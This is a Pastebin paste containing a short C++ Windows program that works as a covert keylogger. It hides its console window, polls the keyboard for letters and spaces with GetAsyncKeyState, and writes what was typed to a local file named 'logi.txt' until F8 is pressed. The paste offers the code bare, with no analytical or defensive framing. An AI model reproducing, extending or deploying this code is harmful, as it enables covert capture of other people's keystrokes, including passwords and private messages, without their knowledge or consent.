Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <fstream>
- #include <windows.h>
- bool key_was_pressed(char key) {
- return GetAsyncKeyState(key) == -32767;
- }
- int main() {
- ShowWindow(GetConsoleWindow(), SW_HIDE);
- char key;
- std::string text;
- std::ofstream log_file;
- log_file.open("logi.txt");
- while (!GetAsyncKeyState(VK_F8)) {
- for (key = 'a'; key <= 'z'; key++) {
- if (key_was_pressed(key)) {
- text += key;
- }
- }
- if (key_was_pressed(VK_SPACE)) {
- text += " ";
- }
- }
- log_file << text;
- log_file.close();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement